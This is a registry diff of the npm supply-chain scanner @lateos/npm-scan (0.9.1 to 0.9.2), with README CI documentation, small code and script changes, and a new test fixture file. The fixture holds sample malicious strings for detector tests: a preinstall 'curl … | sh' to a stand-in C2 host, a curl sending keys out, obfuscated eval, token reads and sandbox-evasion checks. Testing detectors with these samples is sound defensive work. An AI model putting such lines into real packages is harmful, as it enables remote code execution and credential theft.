@lateos/npm-scan 0.9.1 β†’ 0.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,6 +3,8 @@
3
3
  [![npm version](https://img.shields.io/npm/v/@lateos/npm-scan?style=flat-square)](https://www.npmjs.com/package/@lateos/npm-scan)
4
4
  [![License](https://img.shields.io/badge/license-Apache%202.0%20%2B%20Commons%20Clause-blue?style=flat-square)](LICENSING.md)
5
5
  [![Node](https://img.shields.io/badge/node-%3E%3D18-brightgreen?style=flat-square)](package.json)
6
+ [![Tests](https://img.shields.io/badge/tests-222%20passing-brightgreen?style=flat-square)](https://github.com/lateos/npm-scan)
7
+ [![Coverage](https://img.shields.io/badge/coverage-85%25-yellowgreen?style=flat-square)](https://github.com/lateos/npm-scan)
6
8
 
7
9
  **Modern supply chain security for the npm ecosystem.**
8
10
  Static + behavioral analysis that catches what npm audit, Snyk, and Socket miss β€” obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation.
@@ -258,23 +260,128 @@ npm-scan report --siem cef --license-key <key>
258
260
 
259
261
  ## πŸ”— Integrations
260
262
 
261
- ### GitHub Action
263
+ ### GitHub Actions CI (for this repo)
262
264
 
263
- Scan your lockfile on every PR. Add to `.github/workflows/scan.yml`:
265
+ Every push and PR runs tests across Node 18, 20, and 22:
264
266
 
265
267
  ```yaml
268
+ # .github/workflows/ci.yml
269
+ name: CI
270
+ on:
271
+ push:
272
+ branches: [ main ]
273
+ pull_request:
274
+ branches: [ main ]
275
+ jobs:
276
+ test:
277
+ runs-on: ubuntu-latest
278
+ strategy:
279
+ matrix:
280
+ node-version: [18, 20, 22]
281
+ steps:
282
+ - uses: actions/checkout@v4
283
+ - uses: actions/setup-node@v4
284
+ with:
285
+ node-version: ${{ matrix.node-version }}
286
+ cache: 'npm'
287
+ - run: npm ci
288
+ - run: npm test
289
+ - run: npm run test:coverage
290
+ - run: node --test test/detectors-corpus.test.js
291
+ - run: npm run lint
292
+ - run: npm run build
293
+ ```
294
+
295
+ ### GitHub Action (for downstream users)
296
+
297
+ Scan your project's `package-lock.json` on every PR β€” detects typosquats, obfuscated payloads, credential harvesters, and worm propagation before they reach production:
298
+
299
+ ```yaml
300
+ # .github/workflows/scan.yml
266
301
  name: npm-scan
267
- on: [pull_request]
302
+ on:
303
+ pull_request:
304
+ paths:
305
+ - 'package-lock.json'
306
+ - '**/package.json'
268
307
  jobs:
269
308
  scan:
270
309
  runs-on: ubuntu-latest
271
310
  steps:
272
- - uses: actions/checkout@v4
273
- - uses: lateos/npm-scan-action@v1
274
- with:
275
- lockfile: package-lock.json
276
- policy: .npm-scan.yml # optional
277
- license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }} # optional (premium)
311
+ - uses: actions/checkout@v4
312
+ - uses: actions/setup-node@v4
313
+ with:
314
+ node-version: 20
315
+ - name: Scan lockfile
316
+ uses: lateos/npm-scan@main
317
+ with:
318
+ scan-type: lockfile
319
+ fail-on: high
320
+ ```
321
+
322
+ #### Action inputs
323
+
324
+ | Input | Default | Description |
325
+ |-------|---------|-------------|
326
+ | `scan-type` | `lockfile` | `lockfile` to scan `package-lock.json` or `package` to scan a specific npm package |
327
+ | `package` | β€” | Package name (required when `scan-type=package`) |
328
+ | `fail-on` | `high` | Fail the workflow at this severity threshold: `none`, `low`, `medium`, `high`, `critical` |
329
+ | `policy-file` | β€” | Path to a YAML/JSON policy file for allowlists, severity overrides, and suppressions |
330
+ | `license-key` | β€” | Premium license key for SIEM export and PDF reports |
331
+ | `siem-format` | β€” | SIEM output: `cef`, `ecs`, `sentinel`, `qradar` (premium) |
332
+ | `sbom-format` | β€” | SBOM output: `json`, `xml`, `spdx` |
333
+
334
+ #### Action outputs
335
+
336
+ | Output | Description |
337
+ |--------|-------------|
338
+ | `findings-count` | Number of findings detected |
339
+ | `scan-id` | Scan ID for later reference in reports |
340
+
341
+ #### Example: scan a specific package with policy + SBOM
342
+
343
+ ```yaml
344
+ - uses: lateos/npm-scan@main
345
+ with:
346
+ scan-type: package
347
+ package: lodash
348
+ policy-file: .npm-scan.yml
349
+ sbom-format: spdx
350
+ fail-on: critical
351
+ ```
352
+
353
+ #### Example: scan with SIEM export (premium)
354
+
355
+ ```yaml
356
+ - uses: lateos/npm-scan@main
357
+ with:
358
+ scan-type: lockfile
359
+ siem-format: cef
360
+ license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }}
361
+ ```
362
+
363
+ ### CI/CD pipeline
364
+
365
+ Integrate directly into your existing pipeline without the composite action:
366
+
367
+ ```bash
368
+ # Scan lockfile, fail build on high severity
369
+ npm-scan scan-lockfile --policy .npm-scan.yml || exit 1
370
+
371
+ # Scan a specific package, fail on critical only
372
+ npm-scan scan lodash --policy .npm-scan.yml || exit 1
373
+
374
+ # Generate SBOM as a build artifact
375
+ npm-scan scan express --sbom spdx > express-sbom.spdx.json
376
+
377
+ # Generate HTML compliance report in CI
378
+ npm-scan report --html > report.html
379
+
380
+ # Upload report as an artifact
381
+ # uses: actions/upload-artifact@v4
382
+ # with:
383
+ # name: npm-scan-report
384
+ # path: report.html
278
385
  ```
279
386
 
280
387
  ### Docker
@@ -293,13 +400,114 @@ docker compose --profile cli up -d
293
400
 
294
401
  Multi-arch images available for `linux/amd64` and `linux/arm64`.
295
402
 
296
- ### CI/CD
403
+ ### GitHub Action (for downstream users)
404
+
405
+ Scan your project's `package-lock.json` on every PR β€” detects typosquats, obfuscated payloads, credential harvesters, and worm propagation before they reach production:
406
+
407
+ ```yaml
408
+ # .github/workflows/scan.yml
409
+ name: npm-scan
410
+ on:
411
+ pull_request:
412
+ paths:
413
+ - 'package-lock.json'
414
+ - '**/package.json'
415
+ jobs:
416
+ scan:
417
+ runs-on: ubuntu-latest
418
+ steps:
419
+ - uses: actions/checkout@v4
420
+ - uses: actions/setup-node@v4
421
+ with:
422
+ node-version: 20
423
+ - name: Scan lockfile
424
+ uses: lateos/npm-scan@main
425
+ with:
426
+ scan-type: lockfile
427
+ fail-on: high
428
+ ```
429
+
430
+ #### Action inputs
431
+
432
+ | Input | Default | Description |
433
+ |-------|---------|-------------|
434
+ | `scan-type` | `lockfile` | `lockfile` to scan `package-lock.json` or `package` to scan a specific npm package |
435
+ | `package` | β€” | Package name (required when `scan-type=package`) |
436
+ | `fail-on` | `high` | Fail the workflow at this severity threshold: `none`, `low`, `medium`, `high`, `critical` |
437
+ | `policy-file` | β€” | Path to a YAML/JSON policy file for allowlists, severity overrides, and suppressions |
438
+ | `license-key` | β€” | Premium license key for SIEM export and PDF reports |
439
+ | `siem-format` | β€” | SIEM output: `cef`, `ecs`, `sentinel`, `qradar` (premium) |
440
+ | `sbom-format` | β€” | SBOM output: `json`, `xml`, `spdx` |
441
+
442
+ #### Action outputs
443
+
444
+ | Output | Description |
445
+ |--------|-------------|
446
+ | `findings-count` | Number of findings detected |
447
+ | `scan-id` | Scan ID for later reference in reports |
448
+
449
+ #### Example: scan a specific package with policy + SBOM
450
+
451
+ ```yaml
452
+ - uses: lateos/npm-scan@main
453
+ with:
454
+ scan-type: package
455
+ package: lodash
456
+ policy-file: .npm-scan.yml
457
+ sbom-format: spdx
458
+ fail-on: critical
459
+ ```
460
+
461
+ #### Example: scan with SIEM export (premium)
462
+
463
+ ```yaml
464
+ - uses: lateos/npm-scan@main
465
+ with:
466
+ scan-type: lockfile
467
+ siem-format: cef
468
+ license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }}
469
+ ```
470
+
471
+ ### CI/CD pipeline
472
+
473
+ Integrate directly into your existing pipeline without the composite action:
297
474
 
298
475
  ```bash
299
- # Fail the build if critical findings exist
300
- npm-scan scan express --policy .npm-scan.yml || exit 1
476
+ # Scan lockfile, fail build on high severity
477
+ npm-scan scan-lockfile --policy .npm-scan.yml || exit 1
478
+
479
+ # Scan a specific package, fail on critical only
480
+ npm-scan scan lodash --policy .npm-scan.yml || exit 1
481
+
482
+ # Generate SBOM as a build artifact
483
+ npm-scan scan express --sbom spdx > express-sbom.spdx.json
484
+
485
+ # Generate HTML compliance report in CI
486
+ npm-scan report --html > report.html
487
+
488
+ # Upload report as an artifact
489
+ # uses: actions/upload-artifact@v4
490
+ # with:
491
+ # name: npm-scan-report
492
+ # path: report.html
301
493
  ```
302
494
 
495
+ ### Docker
496
+
497
+ ```bash
498
+ # Pull and run
499
+ docker pull ghcr.io/lateos/npm-scan:cli
500
+ docker run --rm ghcr.io/lateos/npm-scan:cli scan lodash
501
+
502
+ # Full pipeline with Compose (Redis-based queue)
503
+ docker compose --profile pipeline up -d
504
+
505
+ # CLI with persistent storage
506
+ docker compose --profile cli up -d
507
+ ```
508
+
509
+ Multi-arch images available for `linux/amd64` and `linux/arm64`.
510
+
303
511
  ---
304
512
 
305
513
  ## πŸ—ΊοΈ Roadmap & Enterprise Features
@@ -343,12 +551,34 @@ See [`docs/attack-taxonomy.md`](docs/attack-taxonomy.md) for the ATK governance
343
551
  3. False-positive analysis on top-500 npm packages
344
552
  4. NIST 800-161 control mapping
345
553
 
554
+ ### Testing
555
+
556
+ The project uses the **Node.js native test runner** (`node:test` + `assert/strict`).
557
+
346
558
  ```bash
347
- git clone https://github.com/lateos/npm-scan.git
348
- npm install
559
+ # Run all tests
349
560
  npm test
561
+
562
+ # Run tests with coverage
563
+ npm run test:coverage
564
+
565
+ # Run tests with verbose spec output
566
+ npm run test:verbose
567
+
568
+ # Run local malicious/clean corpus (no network needed)
569
+ node --test test/detectors-corpus.test.js
350
570
  ```
351
571
 
572
+ **Test structure:**
573
+ - `test/fixtures/mock-data.js` β€” shared mock scans, packages, and code snippets
574
+ - `test/db.test.js` β€” database CRUD (save, query, persist)
575
+ - `test/detectors-edge-cases.test.js` β€” per-detector boundary tests (no-ops, clean clears, severity)
576
+ - `test/detectors-corpus.test.js` β€” 33 malicious + 50 clean tarball integration (offline)
577
+ - `test/fetch.test.js` β€” tarball extraction, temp directory cleanup
578
+ - `test/policy-edge-cases.test.js` β€” edge cases in suppress, override, load validation
579
+ - `test/report-snapshots.test.js` β€” HTML/text/CRA/PDF format assertions
580
+ - `test/cli.test.js` β€” commander integration tests (help, version, scan, report, error handling)
581
+
352
582
  ### Need help?
353
583
 
354
584
  - πŸ“– Read the [project plan](docs/project-plan.md)
package/backend/db.js CHANGED
@@ -84,5 +84,6 @@ export async function close() {
84
84
  persist();
85
85
  db.close();
86
86
  db = null;
87
+ initPromise = null;
87
88
  }
88
89
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@lateos/npm-scan",
3
- "version": "0.9.1",
3
+ "version": "0.9.2",
4
4
  "description": "Modern npm supply chain security scanner β€” detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
5
5
  "main": "backend/index.js",
6
6
  "bin": {
@@ -26,6 +26,8 @@
26
26
  "dev": "node cli/cli.js",
27
27
  "lint": "echo 'Lint stub'",
28
28
  "test": "node --test",
29
+ "test:coverage": "node --experimental-test-coverage --test",
30
+ "test:verbose": "node --test --test-reporter spec",
29
31
  "build": "echo 'Build stub'",
30
32
  "corpus": "node tests/corpus/run.js"
31
33
  },
@@ -0,0 +1,69 @@
1
+ export const MOCK_SCANS = [
2
+ {
3
+ package_name: 'lodash',
4
+ version: '4.17.21',
5
+ findings: [
6
+ { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
+ { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
+ ],
9
+ },
10
+ ];
11
+
12
+ export const SINGLE_SCAN = MOCK_SCANS[0];
13
+
14
+ export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
+
16
+ export const MULTI_SEV_SCAN = {
17
+ package_name: 'multi-sev', version: '1.0.0', findings: [
18
+ { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
+ { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
+ { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
+ { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
+ ],
23
+ };
24
+
25
+ export const ALL_ATK_SCAN = {
26
+ package_name: 'all-atk', version: '1.0.0', findings:
27
+ Array.from({ length: 11 }, (_, i) => ({
28
+ id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
+ atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
+ severity: 'medium',
31
+ title: `ATK-${i + 1}`,
32
+ })),
33
+ };
34
+
35
+ export const CLEAN_PACKAGE = {
36
+ name: 'test-pkg',
37
+ version: '1.0.0',
38
+ scripts: { test: 'node test.js' },
39
+ dependencies: { express: '4.0.0' },
40
+ };
41
+
42
+ export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
+
44
+ export const PREINSTALL_MALICIOUS = {
45
+ scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
+ };
47
+
48
+ export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
+
50
+ export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
+
52
+ export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
+
54
+ export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
+
56
+ export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
+
58
+ export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
+
60
+ export const TAMPER_PACKAGE = {
61
+ name: 'lodash',
62
+ repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
+ };
64
+
65
+ export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
+
67
+ export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
+
69
+ export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];